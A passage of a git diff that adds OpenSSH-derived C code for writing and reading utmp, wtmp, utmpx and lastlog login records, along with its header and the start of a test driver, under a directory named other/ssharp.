HAVE_PID_IN_UTMP + ut->ut_pid = li->pid; +# endif + + /* If we're logging out, leave all other fields blank */ + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* Use strncpy because we don't necessarily want null termination */ + strncpy(ut->ut_name, li->username, MIN_SIZEOF(ut->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMP + strncpy(ut->ut_host, li->hostname, MIN_SIZEOF(ut->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMP + /* this is just a 32-bit IP address */ + if (li->hostaddr.sa.sa_family == AF_INET) + ut->ut_addr = li->hostaddr.sa_in.sin_addr.s_addr; +# endif +} +#endif /* USE_UTMP || USE_WTMP || USE_LOGIN */ + +/** + ** utmpx utility functions + ** + ** These functions manipulate struct utmpx, accounting for system + ** variations. + **/ + +#if defined(USE_UTMPX) || defined (USE_WTMPX) +/* build the utmpx structure */ +void +set_utmpx_time(struct logininfo *li, struct utmpx *utx) +{ +# ifdef HAVE_TV_IN_UTMPX + utx->ut_tv.tv_sec = li->tv_sec; + utx->ut_tv.tv_usec = li->tv_usec; +# else /* HAVE_TV_IN_UTMPX */ +# ifdef HAVE_TIME_IN_UTMPX + utx->ut_time = li->tv_sec; +# endif /* HAVE_TIME_IN_UTMPX */ +# endif /* HAVE_TV_IN_UTMPX */ +} + +void +construct_utmpx(struct logininfo *li, struct utmpx *utx) +{ + memset(utx, '\0', sizeof(*utx)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx->ut_id, li->line, sizeof(utx->ut_id)); +# endif + + /* this is done here to keep utmp constants out of loginrec.h */ + switch (li->type) { + case LTYPE_LOGIN: + utx->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + utx->ut_type = DEAD_PROCESS; + break; + } + line_stripname(utx->ut_line, li->line, sizeof(utx->ut_line)); + set_utmpx_time(li, utx); + utx->ut_pid = li->pid; + + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* strncpy(): Don't necessarily want null termination */ + strncpy(utx->ut_name, li->username, MIN_SIZEOF(utx->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMPX + strncpy(utx->ut_host, li->hostname, MIN_SIZEOF(utx->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMPX + /* this is just a 32-bit IP address */ + if (li->hostaddr.sa.sa_family == AF_INET) + utx->ut_addr = li->hostaddr.sa_in.sin_addr.s_addr; +# endif +# ifdef HAVE_SYSLEN_IN_UTMPX + /* ut_syslen is the length of the utx_host string */ + utx->ut_syslen = MIN(strlen(li->hostname), sizeof(utx->ut_host)); +# endif +} +#endif /* USE_UTMPX || USE_WTMPX */ + +/** + ** Low-level utmp functions + **/ + +/* FIXME: (ATL) utmp_write_direct needs testing */ +#ifdef USE_UTMP + +/* if we can, use pututline() etc. */ +# if !defined(DISABLE_PUTUTLINE) && defined(HAVE_SETUTENT) && \ + defined(HAVE_PUTUTLINE) +# define UTMP_USE_LIBRARY +# endif + + +/* write a utmp entry with the system's help (pututline() and pals) */ +# ifdef UTMP_USE_LIBRARY +static int +utmp_write_library(struct logininfo *li, struct utmp *ut) +{ + setutent(); + pututline(ut); + +# ifdef HAVE_ENDUTENT + endutent(); +# endif + return 1; +} +# else /* UTMP_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +/* This is a slightly modification of code in OpenBSD's login.c */ +static int +utmp_write_direct(struct logininfo *li, struct utmp *ut) +{ + struct utmp old_ut; + register int fd; + int tty; + + /* FIXME: (ATL) ttyslot() needs local implementation */ + +#if defined(HAVE_GETTTYENT) + register struct ttyent *ty; + + tty=0; + + setttyent(); + while ((struct ttyent *)0 != (ty = getttyent())) { + tty++; + if (!strncmp(ty->ty_name, ut->ut_line, sizeof(ut->ut_line))) + break; + } + endttyent(); + + if((struct ttyent *)0 == ty) { + log("utmp_write_entry: tty not found"); + return(1); + } +#else /* FIXME */ + + tty = ttyslot(); /* seems only to work for /dev/ttyp? style names */ + +#endif /* HAVE_GETTTYENT */ + + if (tty > 0 && (fd = open(UTMP_FILE, O_RDWR|O_CREAT, 0644)) >= 0) { + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + /* + * Prevent luser from zero'ing out ut_host. + * If the new ut_line is empty but the old one is not + * and ut_line and ut_name match, preserve the old ut_line. + */ + if (atomicio(read, fd, &old_ut, sizeof(old_ut)) == sizeof(old_ut) && + (ut->ut_host[0] == '\0') && (old_ut.ut_host[0] != '\0') && + (strncmp(old_ut.ut_line, ut->ut_line, sizeof(ut->ut_line)) == 0) && + (strncmp(old_ut.ut_name, ut->ut_name, sizeof(ut->ut_name)) == 0)) { + (void)memcpy(ut->ut_host, old_ut.ut_host, sizeof(ut->ut_host)); + } + + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + if (atomicio(write, fd, ut, sizeof(*ut)) != sizeof(*ut)) + log("utmp_write_direct: error writing %s: %s", + UTMP_FILE, strerror(errno)); + + (void)close(fd); + return 1; + } else { + return 0; + } +} +# endif /* UTMP_USE_LIBRARY */ + +static int +utmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_logout: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_logout: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +int +utmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmp_perform_login(li); + + case LTYPE_LOGOUT: + return utmp_perform_logout(li); + + default: + log("utmp_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMP */ + + +/** + ** Low-level utmpx functions + **/ + +/* not much point if we don't want utmpx entries */ +#ifdef USE_UTMPX + +/* if we have the wherewithall, use pututxline etc. */ +# if !defined(DISABLE_PUTUTXLINE) && defined(HAVE_SETUTXENT) && \ + defined(HAVE_PUTUTXLINE) +# define UTMPX_USE_LIBRARY +# endif + + +/* write a utmpx entry with the system's help (pututxline() and pals) */ +# ifdef UTMPX_USE_LIBRARY +static int +utmpx_write_library(struct logininfo *li, struct utmpx *utx) +{ + setutxent(); + pututxline(utx); + +# ifdef HAVE_ENDUTXENT + endutxent(); +# endif + return 1; +} + +# else /* UTMPX_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +static int +utmpx_write_direct(struct logininfo *li, struct utmpx *utx) +{ + log("utmpx_write_direct: not implemented!"); + return 0; +} +# endif /* UTMPX_USE_LIBRARY */ + +static int +utmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); +# ifdef UTMPX_USE_LIBRARY + if (!utmpx_write_library(li, &utx)) { + log("utmpx_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmpx_write_direct(li, &ut)) { + log("utmpx_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + memset(&utx, '\0', sizeof(utx)); + set_utmpx_time(li, &utx); + line_stripname(utx.ut_line, li->line, sizeof(utx.ut_line)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx.ut_id, li->line, sizeof(utx.ut_id)); +# endif +# ifdef HAVE_TYPE_IN_UTMPX + utx.ut_type = DEAD_PROCESS; +# endif + +# ifdef UTMPX_USE_LIBRARY + utmpx_write_library(li, &utx); +# else + utmpx_write_direct(li, &utx); +# endif + return 1; +} + +int +utmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmpx_perform_login(li); + case LTYPE_LOGOUT: + return utmpx_perform_logout(li); + default: + log("utmpx_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMPX */ + + +/** + ** Low-level wtmp functions + **/ + +#ifdef USE_WTMP + +/* write a wtmp entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmp_write(struct logininfo *li, struct utmp *ut) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, ut, sizeof(*ut)) != sizeof(*ut)) { + ftruncate(fd, buf.st_size); + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + return ret; +} + +static int +wtmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +static int +wtmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +int +wtmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmp_perform_login(li); + case LTYPE_LOGOUT: + return wtmp_perform_logout(li); + default: + log("wtmp_write_entry: invalid type field"); + return 0; + } +} + + +/* Notes on fetching login data from wtmp/wtmpx + * + * Logouts are usually recorded with (amongst other things) a blank + * username on a given tty line. However, some systems (HP-UX is one) + * leave all fields set, but change the ut_type field to DEAD_PROCESS. + * + * Since we're only looking for logins here, we know that the username + * must be set correctly. On systems that leave it in, we check for + * ut_type==USER_PROCESS (indicating a login.) + * + * Portability: Some systems may set something other than USER_PROCESS + * to indicate a login process. I don't know of any as I write. Also, + * it's possible that some systems may both leave the username in + * place and not have ut_type. + */ + +/* return true if this wtmp entry indicates a login */ +static int +wtmp_islogin(struct logininfo *li, struct utmp *ut) +{ + if (strncmp(li->username, ut->ut_name, + MIN_SIZEOF(li->username, ut->ut_name)) == 0) { +# ifdef HAVE_TYPE_IN_UTMP + if (ut->ut_type & USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + +int +wtmp_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmp ut; + int fd, found=0; + + /* Clear the time entries in our logininfo */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMP_FILE, O_RDONLY)) < 0) { + log("wtmp_get_entry: problem opening %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmp_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmp */ + if (lseek(fd, (off_t)(0 - sizeof(struct utmp)), SEEK_END) == -1) { + /* Looks like we've got a fresh wtmp file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &ut, sizeof(ut)) != sizeof(ut)) { + log("wtmp_get_entry: read of %s failed: %s", + WTMP_FILE, strerror(errno)); + close (fd); + return 0; + } + if ( wtmp_islogin(li, &ut) ) { + found = 1; + /* We've already checked for a time in struct + * utmp, in login_getlast(). */ +# ifdef HAVE_TIME_IN_UTMP + li->tv_sec = ut.ut_time; +# else +# if HAVE_TV_IN_UTMP + li->tv_sec = ut.ut_tv.tv_sec; +# endif +# endif + line_fullname(li->line, ut.ut_line, + MIN_SIZEOF(li->line, ut.ut_line)); +# ifdef HAVE_HOST_IN_UTMP + strlcpy(li->hostname, ut.ut_host, + MIN_SIZEOF(li->hostname, ut.ut_host)); +# endif + continue; + } + /* Seek back 2 x struct utmp */ + if (lseek(fd, (off_t)(0-2*sizeof(struct utmp)), SEEK_CUR) == -1) { + /* We've found the start of the file, so quit */ + close (fd); + return 0; + } + } + + /* We found an entry. Tidy up and return */ + close(fd); + return 1; +} +# endif /* USE_WTMP */ + + +/** + ** Low-level wtmpx functions + **/ + +#ifdef USE_WTMPX +/* write a wtmpx entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmpx_write(struct logininfo *li, struct utmpx *utx) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmpx_write: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, utx, sizeof(*utx)) != sizeof(*utx)) { + ftruncate(fd, buf.st_size); + log("wtmpx_write: problem writing %s: %s", + WTMPX_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + + return ret; +} + + +static int +wtmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +static int +wtmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +int +wtmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmpx_perform_login(li); + case LTYPE_LOGOUT: + return wtmpx_perform_logout(li); + default: + log("wtmpx_write_entry: invalid type field"); + return 0; + } +} + +/* Please see the notes above wtmp_islogin() for information about the + next two functions */ + +/* Return true if this wtmpx entry indicates a login */ +static int +wtmpx_islogin(struct logininfo *li, struct utmpx *utx) +{ + if ( strncmp(li->username, utx->ut_name, + MIN_SIZEOF(li->username, utx->ut_name)) == 0 ) { +# ifdef HAVE_TYPE_IN_UTMPX + if (utx->ut_type == USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + + +int +wtmpx_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmpx utx; + int fd, found=0; + + /* Clear the time entries */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMPX_FILE, O_RDONLY)) < 0) { + log("wtmpx_get_entry: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmpx_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmpx */ + if (lseek(fd, (off_t)(0-sizeof(struct utmpx)), SEEK_END) == -1 ) { + /* probably a newly rotated wtmpx file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &utx, sizeof(utx)) != sizeof(utx)) { + log("wtmpx_get_entry: read of %s failed: %s", + WTMPX_FILE, strerror(errno)); + close (fd); + return 0; + } + /* Logouts are recorded as a blank username on a particular line. + * So, we just need to find the username in struct utmpx */ + if ( wtmpx_islogin(li, &utx) ) { +# ifdef HAVE_TV_IN_UTMPX + li->tv_sec = utx.ut_tv.tv_sec; +# else +# ifdef HAVE_TIME_IN_UTMPX + li->tv_sec = utx.ut_time; +# endif +# endif + line_fullname(li->line, utx.ut_line, sizeof(li->line)); +# ifdef HAVE_HOST_IN_UTMPX + strlcpy(li->hostname, utx.ut_host, + MIN_SIZEOF(li->hostname, utx.ut_host)); +# endif + continue; + } + if (lseek(fd, (off_t)(0-2*sizeof(struct utmpx)), SEEK_CUR) == -1) { + close (fd); + return 0; + } + } + + close(fd); + return 1; +} +#endif /* USE_WTMPX */ + +/** + ** Low-level libutil login() functions + **/ + +#ifdef USE_LOGIN +static int +syslogin_perform_login(struct logininfo *li) +{ + struct utmp *ut; + + if (! (ut = (struct utmp *)malloc(sizeof(*ut)))) { + log("syslogin_perform_login: couldn't malloc()"); + return 0; + } + construct_utmp(li, ut); + login(ut); + + return 1; +} + +static int +syslogin_perform_logout(struct logininfo *li) +{ +# ifdef HAVE_LOGOUT + char line[8]; + + (void)line_stripname(line, li->line, sizeof(line)); + + if (!logout(line)) { + log("syslogin_perform_logout: logout() returned an error"); +# ifdef HAVE_LOGWTMP + } else { + logwtmp(line, "", ""); +# endif + } + /* FIXME: (ATL - if the need arises) What to do if we have + * login, but no logout? what if logout but no logwtmp? All + * routines are in libutil so they should all be there, + * but... */ +# endif + return 1; +} + +int +syslogin_write_entry(struct logininfo *li) +{ + switch (li->type) { + case LTYPE_LOGIN: + return syslogin_perform_login(li); + case LTYPE_LOGOUT: + return syslogin_perform_logout(li); + default: + log("syslogin_write_entry: Invalid type field"); + return 0; + } +} +#endif /* USE_LOGIN */ + +/* end of file log-syslogin.c */ + +/** + ** Low-level lastlog functions + **/ + +#ifdef USE_LASTLOG +#define LL_FILE 1 +#define LL_DIR 2 +#define LL_OTHER 3 + +static void +lastlog_construct(struct logininfo *li, struct lastlog *last) +{ + /* clear the structure */ + memset(last, '\0', sizeof(*last)); + + (void)line_stripname(last->ll_line, li->line, sizeof(last->ll_line)); + strlcpy(last->ll_host, li->hostname, + MIN_SIZEOF(last->ll_host, li->hostname)); + last->ll_time = li->tv_sec; +} + +static int +lastlog_filetype(char *filename) +{ + struct stat st; + + if (stat(LASTLOG_FILE, &st) != 0) { + log("lastlog_perform_login: Couldn't stat %s: %s", LASTLOG_FILE, + strerror(errno)); + return 0; + } + if (S_ISDIR(st.st_mode)) + return LL_DIR; + else if (S_ISREG(st.st_mode)) + return LL_FILE; + else + return LL_OTHER; +} + + +/* open the file (using filemode) and seek to the login entry */ +static int +lastlog_openseek(struct logininfo *li, int *fd, int filemode) +{ + off_t offset; + int type; + char lastlog_file[1024]; + + type = lastlog_filetype(LASTLOG_FILE); + switch (type) { + case LL_FILE: + strlcpy(lastlog_file, LASTLOG_FILE, sizeof(lastlog_file)); + break; + case LL_DIR: + snprintf(lastlog_file, sizeof(lastlog_file), "%s/%s", + LASTLOG_FILE, li->username); + break; + default: + log("lastlog_openseek: %.100s is not a file or directory!", + LASTLOG_FILE); + return 0; + } + + *fd = open(lastlog_file, filemode); + if ( *fd < 0) { + debug("lastlog_openseek: Couldn't open %s: %s", + lastlog_file, strerror(errno)); + return 0; + } + + if (type == LL_FILE) { + /* find this uid's offset in the lastlog file */ + offset = (off_t) ( (long)li->uid * sizeof(struct lastlog)); + + if ( lseek(*fd, offset, SEEK_SET) != offset ) { + log("lastlog_openseek: %s->lseek(): %s", + lastlog_file, strerror(errno)); + return 0; + } + } + + return 1; +} + +static int +lastlog_perform_login(struct logininfo *li) +{ + struct lastlog last; + int fd; + + /* create our struct lastlog */ + lastlog_construct(li, &last); + + if (!lastlog_openseek(li, &fd, O_RDWR|O_CREAT)) + return(0); + + /* write the entry */ + if (atomicio(write, fd, &last, sizeof(last)) != sizeof(last)) { + close(fd); + log("lastlog_write_filemode: Error writing to %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } + + close(fd); + return 1; +} + +int +lastlog_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return lastlog_perform_login(li); + default: + log("lastlog_write_entry: Invalid type field"); + return 0; + } +} + +static void +lastlog_populate_entry(struct logininfo *li, struct lastlog *last) +{ + line_fullname(li->line, last->ll_line, sizeof(li->line)); + strlcpy(li->hostname, last->ll_host, + MIN_SIZEOF(li->hostname, last->ll_host)); + li->tv_sec = last->ll_time; +} + +int +lastlog_get_entry(struct logininfo *li) +{ + struct lastlog last; + int fd; + + if (lastlog_openseek(li, &fd, O_RDONLY)) { + if (atomicio(read, fd, &last, sizeof(last)) != sizeof(last)) { + log("lastlog_get_entry: Error reading from %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } else { + lastlog_populate_entry(li, &last); + return 1; + } + } else { + return 0; + } +} +#endif /* USE_LASTLOG */ diff --git a/other/ssharp/loginrec.h b/other/ssharp/loginrec.h new file mode 100644 index 0000000..15afcf5 --- /dev/null +++ b/other/ssharp/loginrec.h @@ -0,0 +1,137 @@ +#ifndef _HAVE_LOGINREC_H_ +#define _HAVE_LOGINREC_H_ + +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.h: platform-independent login recording and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include + +/* RCSID("$Id: loginrec.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); */ + +/** + ** you should use the login_* calls to work around platform dependencies + **/ + +/* + * login_netinfo structure + */ + +union login_netinfo { + struct sockaddr sa; + struct sockaddr_in sa_in; + struct sockaddr_storage sa_storage; +}; + +/* + * * logininfo structure * + */ +/* types - different to utmp.h 'type' macros */ +/* (though set to the same value as linux, openbsd and others...) */ +#define LTYPE_LOGIN 7 +#define LTYPE_LOGOUT 8 + +/* string lengths - set very long */ +#define LINFO_PROGSIZE 64 +#define LINFO_LINESIZE 64 +#define LINFO_NAMESIZE 64 +#define LINFO_HOSTSIZE 256 + +struct logininfo { + char progname[LINFO_PROGSIZE]; /* name of program (for PAM) */ + int progname_null; + short int type; /* type of login (LTYPE_*) */ + int pid; /* PID of login process */ + int uid; /* UID of this user */ + char line[LINFO_LINESIZE]; /* tty/pty name */ + char username[LINFO_NAMESIZE]; /* login username */ + char hostname[LINFO_HOSTSIZE]; /* remote hostname */ + /* 'exit_status' structure components */ + int exit; /* process exit status */ + int termination; /* process termination status */ + /* struct timeval (sys/time.h) isn't always available, if it isn't we'll + * use time_t's value as tv_sec and set tv_usec to 0 + */ + unsigned int tv_sec; + unsigned int tv_usec; + union login_netinfo hostaddr; /* caller's host address(es) */ +}; /* struct logininfo */ + +/* + * login recording functions + */ + +/** 'public' functions */ + +/* construct a new login entry */ +struct logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line); +/* free a structure */ +void login_free_entry(struct logininfo *li); +/* fill out a pre-allocated structure with useful information */ +int login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line); +/* place the current time in a logininfo struct */ +void login_set_current_time(struct logininfo *li); + +/* record the entry */ +int login_login (struct logininfo *li); +int login_logout(struct logininfo *li); + +/** End of public functions */ + +/* record the entry */ +int login_write (struct logininfo *li); +int login_log_entry(struct logininfo *li); + +/* set the network address based on network address type */ +void login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size); + +/* + * lastlog retrieval functions + */ +/* lastlog *entry* functions fill out a logininfo */ +struct logininfo *login_get_lastlog(struct logininfo *li, const int uid); +/* lastlog *time* functions return time_t equivalent (uint) */ +unsigned int login_get_lastlog_time(const int uid); + +/* produce various forms of the line filename */ +char *line_fullname(char *dst, const char *src, int dstsize); +char *line_stripname(char *dst, const char *src, int dstsize); +char *line_abbrevname(char *dst, const char *src, int dstsize); + +#endif /* _HAVE_LOGINREC_H_ */ diff --git a/other/ssharp/logintest.c b/other/ssharp/logintest.c new file mode 100644 index 0000000..e4f37cc --- /dev/null +++ b/other/ssharp/logintest.c @@ -0,0 +1,315 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** logintest.c: simple test driver for platform-independent login recording + ** and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_TIME_H +#include +#endif + +#include "loginrec.h" + +RCSID("$Id: logintest.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +#define PAUSE_BEFORE_LOGOUT 3 + +int nologtest = 0; +int compile_opts_only = 0; +int be_verbose = 0; + + +/* Dump a logininfo to stdout. Assumes a tab size of 8 chars. */ +void +dump_logininfo(struct logininfo *li, char *descname) +{ + /* yes I know how nasty this is */ + printf("struct logininfo %s = {\n\t" + "progname\t'%s'\n\ttype\t\t%d\n\t" + "pid\t\t%d\n\tuid\t\t%d\n\t" + "line\t\t'%s'\n\tusername\t'%s'\n\t" + "hostname\t'%s'\n\texit\t\t%d\n\ttermination\t%d\n\t" + "tv_sec\t%d\n\ttv_usec\t%d\n\t" + "struct login_netinfo hostaddr {\n\t\t" + "struct sockaddr sa {\n" + "\t\t\tfamily\t%d\n\t\t}\n" + "\t}\n" + "}\n", + descname, li->progname, li->type, + li->pid, li->uid, li->line, + li->username, li->hostname, li->exit, + li->termination, li->tv_sec, li->tv_usec, + li->hostaddr.sa.sa_family); +} + + +int +testAPI() +{ + struct logininfo *li1; + struct passwd *pw; + struct hostent *he; + struct sockaddr_in sa_in4; + char cmdstring[256], stripline[8]; + char username[32]; +#ifdef HAVE_TIME_H + time_t t0, t1, t2, logintime, logouttime; + char s_t0[64],s_t1[64],s_t2[64]; + char s_logintime[64], s_logouttime[64]; /* ctime() strings */ +#endif + + printf("**\n** Testing the API...\n**\n"); + + pw = getpwuid(getuid()); + strlcpy(username, pw->pw_name, sizeof(username)); + + /* gethostname(hostname, sizeof(hostname)); */ + + printf("login_alloc_entry test (no host info):\n"); + + /* FIXME fake tty more effectively - this could upset some platforms */ + li1 = login_alloc_entry((int)getpid(), username, NULL, ttyname(0)); + strlcpy(li1->progname, "OpenSSH-logintest", sizeof(li1->progname)); + + if (be_verbose) + dump_logininfo(li1, "li1"); + + printf("Setting host address info for 'localhost' (may call out):\n"); + if (! (he = gethostbyname("localhost"))) { + printf("Couldn't set hostname(lookup failed)\n"); + } else { + /* NOTE: this is messy, but typically a program wouldn't have to set + * any of this, a sockaddr_in* would be already prepared */ + memcpy((void *)&(sa_in4.sin_addr), (void *)&(he->h_addr_list[0][0]), + sizeof(struct in_addr)); + login_set_addr(li1, (struct sockaddr *) &sa_in4, sizeof(sa_in4)); + strlcpy(li1->hostname, "localhost", sizeof(li1->hostname)); + } + if (be_verbose) + dump_logininfo(li1, "li1"); + + if ((int)geteuid() != 0) { + printf("NOT RUNNING LOGIN TESTS - you are not root!\n"); + return 1; + } + + if (nologtest) + return 1; + + line_stripname(stripline, li1->line, sizeof(stripline)); + + printf("Performing an invalid login attempt (no type field)\n--\n"); + login_write(li1); + printf("--\n(Should have written errors to stderr)\n"); + +#ifdef HAVE_TIME_H + (void)time(&t0); + strlcpy(s_t0, ctime(&t0), sizeof(s_t0)); + t1 = login_get_lastlog_time(getuid()); + strlcpy(s_t1, ctime(&t1), sizeof(s_t1)); + printf("Before logging in:\n\tcurrent time is %d - %s\t" + "lastlog time is %d - %s\n", + (int)t0, s_t0, (int)t1, s_t1); +#endif + + printf("Performing a login on line %s ", stripline); +#ifdef HAVE_TIME_H + (void)time(&logintime); + strlcpy(s_logintime, ctime(&logintime), sizeof(s_logintime)); + printf("at %d - %s", (int)logintime, s_logintime); +#endif + printf("--\n"); + login_login(li1); + + snprintf(cmdstring, sizeof(cmdstring), "who | grep '%s '", + stripline); + system(cmdstring); + + printf("--\nPausing for %d second(s)...\n", PAUSE_BEFORE_LOGOUT); + sleep(PAUSE_BEFORE_LOGOUT); + + printf("Performing a logout "); +#ifdef HAVE_TIME_H + (void)time(&logouttime); + 